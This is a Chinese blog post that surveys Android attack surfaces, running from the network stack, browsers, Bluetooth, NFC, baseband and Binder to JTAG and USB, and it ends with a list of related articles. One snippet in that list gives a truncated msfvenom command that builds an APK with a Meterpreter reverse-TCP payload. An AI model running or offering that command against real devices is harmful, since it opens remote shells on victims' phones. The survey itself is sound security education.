先对android整个攻击面有一个体系化的认识,有助于理清思路,

对今后的学习有很大的帮助。

  什么是攻击向量:从语言语法的角度来说,是一个动词,描述用来执行攻击的方法,描述了攻击者如何到达并接触任意给定的漏洞代码。

  什么是攻击面:从语法语法的角度来说,是一个名词,用来描述攻击者可以执行并而进攻的代码,它描述了代码中存在的可能尚未被发现的安全漏洞的位置。

  攻击面主要属性:

    1.攻击向量:所需要的用户交互以及认证条件,限制了给定攻击面中发现任意安全漏洞的影响后果。某些攻击面需要进行物理接触才能发动一次完整的攻击,有些则需要运用社会工程学,诱骗用户对链接进行点击。

    2.获取的权限:在给定攻击面背后的代码可能以极高的权限运行,如内核代码。有的可能在沙盒中以受限权限运行。

    3.内存安全性:是以c系语言还是非c系语言写的,c系语言存在更多的安全漏洞。

    4.复杂性:越复杂的代码,算法,协议越容易出现漏洞。

  攻击面进行分类:

    1:远程攻击面:攻击者无需在物理位置接近目标,而可以直接通过计算机网络发动攻击,具有极大的危害性。

      1>网络协议栈:安全漏洞研究的圣杯,不需要与目标交互就能实施,而且能够获得系统的完全访问控制权,在Android系统中,包含了对IP,TCP,UDP,ICMP等协议的实现。如果在IP包的处理过程中出现可以用的缓冲区溢出漏洞,将成为最为严重的安全漏洞,可以远程执行内核中的任意代码。

      2>暴露的网络服务:无需目标交互的联网服务是第二位具有吸引力的攻击面。这些服务通常的用户空间执行,但是仍有一些潜在的网络服务,如果成功利用,仍然可以获得root权限,当然这类网络服务极少,可以通过nmap等端口扫描器获得,也可以通过netstat获得,当启动wifi,会有额外的网络服务。

      3>移动技术:移动设备通过移动通信暴露了其他远程攻击面,包括通过短信服务(SMS)和多媒体消息服务(MMS),同时使用SMS和MMS消息作为攻击向量还可以达到其它攻击面。MMS消息中可以包含一些多媒体内容。而其它一些协议也实现在SMS之上。

    2:客户端攻击面:由于网络的一般配置屏蔽了许多传统的远程的攻击面,而且客户端对与它通信的服务器非常信任。所以,攻击者很大程度上将关注点转移到客户端软件攻击面中存在的安全漏洞。

      1>浏览器攻击面:现代Web浏览器作为功能最为强大的客户端应用代表,支持HTML,Javascript和丰富的web应用。除了渲染和执行应用逻辑之外还支持一些底层协议。如FTP,HTTP。这些都是有数量惊人的后台代码实现的。而其中的每个组件都带有一个攻击面。可以通过诱导点击,“水坑”等方法进行攻击

      2>web驱动的移动应用程序:每个web驱动的移动应用暴露的攻击面都是不同的。

      3>广告网络:广告网络由于嵌入嵌入式浏览器引擎(WebView),浏览器攻击对于这些应用都是存在的,但一般只能通过中间人攻击人向量。而且与传统浏览器攻击不同,这种组件还会暴露额外的攻击面,可以利用Java类型的反射攻击进行远程攻破。而且,广告框架可能会对隐私构成显著威胁。

      4>媒体和文档处理:常见的文件格式漏洞

      5>电子邮件:相对较少

    3:谷歌基本设施

      1>Google Play商店:国内无需考虑

      2>恶意应用:安装一款应用就等同于授予应用开发者任意代码执行的权限,由于应用数量极大,用户难以确定是否该信任特定的开发者。

      3>第三方应用生态圈:在Google play商店之外安装应用,尤其是部分破解软件,极易捆绑病毒。

      4>Bouncer:

      5>Google Phone Home:

    4:物理相邻

      1>无线通信:Android设备都支持多种基于射频的无线技术,几乎都支持蓝牙和wifi和GPS,较新的还支持NFC(近场通信),每种无线技术都具有特有的频率,且极易受到大量的攻击,包括主动攻击和被动攻击。其中,主动攻击包括阻塞,欺骗,中间人(MitM)等形式。由于wifi和蜂窝网络是用于访问整个互联网,因此可以达到非常丰富的攻击面

        1>>GPS:通常指代Android中的位置信息,可以让设备确定自身在地球的位置。它通过卫星获取信号确定自身位置。

        2>>基带:蜂窝调解器可以提供给基带处理器和移动网络通信的功能。它是Android电话栈的软件组件,由于对它的攻击终端用户难以察觉,而且能够访问手机通话记录及传输数据,对它的攻击具有非常的吸引力。尽管属于远程攻击,但依旧需要在一定的范围内,近年来的“伪基站”攻击

        3>>蓝牙:蓝牙具有30多种协议,每种蓝牙都定义了蓝牙设备的一项特殊功能。如FTP(文件传输协议),HFP(免提协议),HSP(Handest Profile),HID(人机接口设备协议),DUN(拨号网络协议)。蓝牙协议功能首先需要配对。但一些设备使用硬编码的数字码,非常容易攻击。配对后,有可能劫持会话并进行滥用,可能的攻击方法包括BlueJacking,BlueSnarfing和BlueBugging。除了可以与一些免提设备配对,android设备之间还能互相配对,用于传输联系人列表,文件等。蓝牙设计时功能非常多样化,也提供了攻击者希望的几乎所有的功能访问

        4>>Wi-Fi:Wi-Fi主要用于连接局域网,由局域网提供对互联网的访问。详情见于《黑客大曝光:无线网络安全》

        5>>NFC:NFC是建立与射频标示之上(RFID)的无线通信技术,NFC在所有的无线技术中,作用范围最短,通常不超过20cm。Android设备上的NFC有三种典型场景。第一,标签被呈现给设备,设备读取标签的数据并进行处理。第二,两位用户将他们的Anddorid设备贴在一起传输数据。第三,用于非接触式的支付。最流行的消息格式是NFC数据交换格式(NDEF),解析时会导致执行一些动作。在某些情况下,无需用户交互。

      2>其他技术:除了无线通信外,还有其它两个技术也与Android设备的整体攻击面相关。具体来说为QR码(快速响应矩阵码)和语音指令

    5:本地攻击面:当获得对一个设备的任意代码执行后,逻辑上的下一步就是权限提升。终极目标是获得享有特权的代码执行,包括在内存空间执行。或者以root执行。然而只是获得少量权限,也可以暴露更多受限的攻击面。由于权限隔离,为了实现终极目标,需要结合使用多个小的提升目标。

      1>探究文件系统:Android的UNIX血统意味着许多攻击面都是通过文件系统条目暴露的

      2>其它的本地攻击面:除了文件系统,其它的本地攻击面是有linux'内核暴露的,包括系统调用和套接字实现

        1>>系统调用:系统调用处理代表一个值得关注的攻击面

        2>>套接字:Android上运行的软件使用不同类型的套接字进行ipc

        3>>Binder:Binder驱动以及它依赖的软件代表Android特有的一个攻击面。Binder驱动是Intent的基础,而Intent是用于在应用层Android组件进行通信。Binder驱动本身在内核空间实现,并通过。/dev/binder字符设备暴露一个攻击面。

        4>>共享内存:一种定制的内存共享机制

        5>>基带接口:Android智能手机上包含第二个操作系统,就是基带

        6>>攻击硬件支持的服务:包括GPS接收器,光环境传感器,陀螺仪

    6:物理攻击面:需要物理接触设备的攻击被称为依赖于物理攻击面,物理面攻击与物理相邻不同的是物理相邻不需要实际接触目标。

        1>>拆解设备:对目标设备进行拆解,就能够对目标设备中的硬件发起攻击。打开一个硬件设备通常会发现

          【1】:暴露的串口,允许接收调试消息

          【2】:暴露的JTAG调试端口,允许对设备的固件进行调试,重刷或访问

        2>>USB:USB是Android设备与其它设备进行交互的标准化有线接口

        3>>其它物理攻击面:包括手机SIM卡,SD卡,HDMI卡,暴露的测试点和对接连接器

    7:第三方修改:参与生产Android设备的实体会修改操作系统的不同组成部分,一般需要手工进行分析。

        

关于Android攻击面的更多相关文章

  1. 利用Metasploit攻击Android

    首先我在Kali下生成一个Android的应用程序,即apk格式的文件,用到的命令是: msfvenom -p android/meterpreter/reverse_tcp LHOST=本地ip L ...

  2. 通杀所有系统的硬件漏洞?聊一聊Drammer,Android上的RowHammer攻击

    通杀所有系统的硬件漏洞?聊一聊Drammer,Android上的RowHammer攻击 大家肯定知道前几天刚爆出来一个linux内核(Android也用的linux内核)的dirtycow漏洞.此洞可 ...

  3. Android安全之Intent Scheme Url攻击

    0X01 前言 Intent scheme url是一种用于在web页面中启动终端app activity的特殊URL,在针对intent scheme URL攻击大爆发之前,很多android的浏览 ...

  4. Android安全之Https中间人攻击漏洞

    Android安全之Https中间人攻击漏洞 0X01 概述   HTTPS,是一种网络安全传输协议,利用SSL/TLS来对数据包进行加密,以提供对网络服务器的身份认证,保护交换数据的隐私与完整性. ...

  5. 利用Android的UXSS漏洞完成一次XSS攻击

    黑客攻击的方式思路是先搜集信息,定位漏洞,然后针对不同的漏洞采用不同的方式来黑掉你.下面用metasploit模拟一次跨站脚本攻击(黑掉自己的手机). 1.搜集信息 msf > search a ...

  6. [置顶] Android框架攻击之Fragment注入

    为了适应越来越大的设备屏幕,Android在3.X后引入了Fragment概念,作用是可以在一个屏幕上同时显示多个Activity,以达到充分利用屏幕的目的.关于Fragment的使用说明,可以阅读& ...

  7. Android Intent Scheme URLs攻击

    0x0 引言 我们知道,在Android上的Intent-based攻击非常普遍.这样的攻击轻则导致应用程序崩溃.重则可能演变提权漏洞.当然,通过静态特征匹配,Intent-Based的恶意样本还是非 ...

  8. 【转】针对Android上的ROP攻击剖析

    引言       ROP(Return-oriented programming),即“返回导向编程技术”.其核心思想是在整个进程空间内现存的函数中寻找适合指令片断(gadget),并通过精心设计返回 ...

  9. Android 中间人攻击

    0x00 Android中间人攻击的思路就是劫持局域网中被攻击机器和server间的对话.被攻击机器和server表面上工作正常,实际上已经被中间人劫持.能够从一张图来明确这个过程. 受攻击主机发送的 ...

随机推荐

  1. 板载raid 安装Ubuntu 黑屏

    最近有碰到过产线反馈supermicro x10主板板载raid安装ubuntu桌面版 ,出现安装完成后黑屏,现象是能正常识别faker raid 但是第一次重启,就会出现黑屏,只有左上角广光标在闪, ...

  2. Python全栈工程师(exercises)

    # # 练习: # # 1. 用map函数求: # # 1**3 + 2**3 + 3 ** 3 + .... 9**3 的和 def add_(x): return x ** 3 print(sum ...

  3. Jtag To Axi4 debug 读写寄存器的tcl脚本封装

    把下列代码保存为.tcl或者.txt文本保存在某个路径下 打开vivado,在tcl concle中输入 “source 文件路径”,将脚本加载至工具中后, 例如读寄存器地址32'h12345678的 ...

  4. 大图轮播js

    <!DOCTYPE html><html> <head>        <meta charset="UTF-8">         ...

  5. CodeForces Round #515 Div.3 A. Vova and Train

    http://codeforces.com/contest/1066/problem/A Vova plans to go to the conference by train. Initially, ...

  6. jquery select chosen禁用某一项option

    $("#tbParBudCode").chosen().change(function () { $("#tbParBudCode option[value='" ...

  7. MIFARE Classic S50技术详解

    Mifare Classic 简介 MIFARE Classic是恩智浦半导体开发的可用于非接触式智能卡,符合ISO/IEC 14443 A类标准.用于公共交通票证等应用,还可用于各类其他应用有S20 ...

  8. apache+mysql+php实现最大负载的方法

    1. 生成静态html页面,squid反向代理,apache,MySQL的负载均衡. 2. 可以采取数据缓存的方法,我们通常在统计数据的时候,需要在原始数据的基础上经过计算等一系列操作,才会得到最终的 ...

  9. BZOJ1176 [Balkan2007]Mokia 【CDQ分治】

    题目 维护一个W*W的矩阵,初始值均为S.每次操作可以增加某格子的权值,或询问某子矩阵的总权值.修改操作数M<=160000,询问数Q<=10000,W<=2000000. 输入格式 ...

  10. Tomcat学习笔记(二)

    Servlet浅析 javax.servlet.Servlet是一个接口,所有的Servlet必须实现接口里面的方法. 该接口在tomcat/bin中的servlet-api.jar包中. Servl ...